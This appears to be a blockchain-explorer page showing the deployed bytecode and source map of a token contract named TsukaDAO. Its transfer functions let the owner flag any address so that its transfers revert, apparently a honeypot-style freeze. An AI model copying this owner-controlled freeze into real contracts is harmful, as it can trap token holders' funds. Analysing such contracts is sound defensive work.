fffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600881526020017f5473756b6144414f00000000000000000000000000000000000000000000000081525081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111535750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111aa57600082146111a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122f57600080fd5b611280826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611313826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165357fe5b818303905092915050565b600081830190508281101561166f57fe5b8090509291505056fea265627a7a72305820f8b244513fcedd6235ac491489ce45298fe3a0112e2c65861710dfbc5e29aba964736f6c634300050a0032

Deployed Bytecode Sourcemap

5209:477:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5209:477:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5251:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5251:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3846:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3846:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1696:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3099:574;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3099:574:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4044:263;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4044:263:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;5383:82;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5344:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4452:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4452:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4313:135;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4313:135:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1810:127;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1810:127:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5297:42;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5297:42:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1943:444;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1943:444:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4900:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4900:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;3679:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3679:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5251:41;;;;;;;;;;;;;;;;;;;:::o;3846:192::-;3913:4;3958:6;3926:7;:19;3934:10;3926:19;;;;;;;;;;;;;;;:29;3946:8;3926:29;;;;;;;;;;;;;;;:38;;;;3997:8;3976:38;;3985:10;3976:38;;;4007:6;3976:38;;;;;;;;;;;;;;;;;;4028:4;4021:11;;3846:192;;;;:::o;1696:108::-;1760:7;1786:12;;1779:19;;1696:108;:::o;3099:574::-;3211:4;3230:15;:22;3246:5;3230:22;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;3256:15;:20;3272:3;3256:20;;;;;;;;;;;;;;;;;;;;;;;;;3230:46;3227:82;;;3303:1;3293:6;:11;3284:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3227:82;3339:1;3324:17;;:3;:17;;;;3316:26;;;;;;3367:8;:15;3376:5;3367:15;;;;;;;;;;;;;;;;3357:6;:25;;3349:34;;;;;;3408:7;:14;3416:5;3408:14;;;;;;;;;;;;;;;:26;3423:10;3408:26;;;;;;;;;;;;;;;;3398:6;:36;;3390:45;;;;;;3460:27;3480:6;3460:8;:15;3469:5;3460:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;3442:8;:15;3451:5;3442:15;;;;;;;;;;;;;;;:45;;;;3510:25;3528:6;3510:8;:13;3519:3;3510:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3494:8;:13;3503:3;3494:13;;;;;;;;;;;;;;;:41;;;;3571:38;3602:6;3571:7;:14;3579:5;3571:14;;;;;;;;;;;;;;;:26;3586:10;3571:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;3542:7;:14;3550:5;3542:14;;;;;;;;;;;;;;;:26;3557:10;3542:26;;;;;;;;;;;;;;;:67;;;;3637:3;3621:28;;3630:5;3621:28;;;3642:6;3621:28;;;;;;;;;;;;;;;;;;3663:4;3656:11;;3099:574;;;;;:::o;4044:263::-;4139:8;;;;;;;;;;;4125:22;;:10;:22;;;4117:31;;;;;;4189:4;4159:34;;:15;:26;4175:9;4159:26;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;4155:147;;;4233:5;4204:15;:26;4220:9;4204:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;4155:147;;;4290:4;4261:15;:26;4277:9;4261:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;4155:147;4044:263;:::o;5383:82::-;5377:1;5447:17;;5441:2;:23;5424:13;:41;5383:82;:::o;5344:34::-;5377:1;5344:34;:::o;4452:440::-;4560:4;4576:13;4592:7;:19;4600:10;4592:19;;;;;;;;;;;;;;;:29;4612:8;4592:29;;;;;;;;;;;;;;;;4576:45;;4651:8;4632:16;:27;4628:168;;;4702:1;4670:7;:19;4678:10;4670:19;;;;;;;;;;;;;;;:29;4690:8;4670:29;;;;;;;;;;;;;;;:33;;;;4628:168;;;4758:30;4771:16;4758:8;:12;;:30;;;;:::i;:::-;4726:7;:19;4734:10;4726:19;;;;;;;;;;;;;;;:29;4746:8;4726:29;;;;;;;;;;;;;;;:62;;;;4628:168;4828:8;4807:61;;4816:10;4807:61;;;4838:7;:19;4846:10;4838:19;;;;;;;;;;;;;;;:29;4858:8;4838:29;;;;;;;;;;;;;;;;4807:61;;;;;;;;;;;;;;;;;;4882:4;4875:11;;;4452:440;;;;:::o;4313:135::-;4392:4;4416:15;:26;4432:9;4416:26;;;;;;;;;;;;;;;;;;;;;;;;;4409:33;;4313:135;;;:::o;1810:127::-;1892:7;1915:8;:16;1924:6;1915:16;;;;;;;;;;;;;;;;1908:23;;1810:127;;;:::o;5297:42::-;;;;;;;;;;;;;;;;;;;:::o;1943:444::-;2026:4;2045:15;:27;2061:10;2045:27;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;2076:15;:20;2092:3;2076:20;;;;;;;;;;;;;;;;;;;;;;;;;2045:51;2042:87;;;2123:1;2113:6;:11;2104:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2042:87;2159:1;2144:17;;:3;:17;;;;2136:26;;;;;;2187:8;:20;2196:10;2187:20;;;;;;;;;;;;;;;;2177:6;:30;;2169:39;;;;;;2238:32;2263:6;2238:8;:20;2247:10;2238:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;2215:8;:20;2224:10;2215:20;;;;;;;;;;;;;;;:55;;;;2293:25;2311:6;2293:8;:13;2302:3;2293:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;2277:8;:13;2286:3;2277:13;;;;;;;;;;;;;;;:41;;;;2351:3;2330:33;;2339:10;2330:33;;;2356:6;2330:33;;;;;;;;;;;;;;;;;;2377:4;2370:11;;1943:444;;;;:::o;4900:302::-;5003:4;5058:46;5092:11;5058:7;:19;5066:10;5058:19;;;;;;;;;;;;;;;:29;5078:8;5058:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;5019:7;:19;5027:10;5019:19;;;;;;;;;;;;;;;:29;5039:8;5019:29;;;;;;;;;;;;;;;:86;;;;5138:8;5117:61;;5126:10;5117:61;;;5148:7;:19;5156:10;5148:19;;;;;;;;;;;;;;;:29;5168:8;5148:29;;;;;;;;;;;;;;;;5117:61;;;;;;;;;;;;;;;;;;5192:4;5185:11;;4900:302;;;;:::o;3679:161::-;3783:7;3809;:15;3817:6;3809:15;;;;;;;;;;;;;;;:25;3825:8;3809:25;;;;;;;;;;;;;;;;3802:32;;3679:161;;;;:::o;653:147::-;742:7;773:1;768;:6;;761:14;;;;793:1;789;:5;782:12;;653:147;;;;:::o;806:155::-;889:9;918:1;914;:5;910:9;;938:1;933;:6;;926:14;;;;954:1;947:8;;806:155;;;;:::o

Swarm Source

bzzr://f8b244513fcedd6235ac491489ce45298fe3a0112e2c65861710dfbc5e29aba9

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.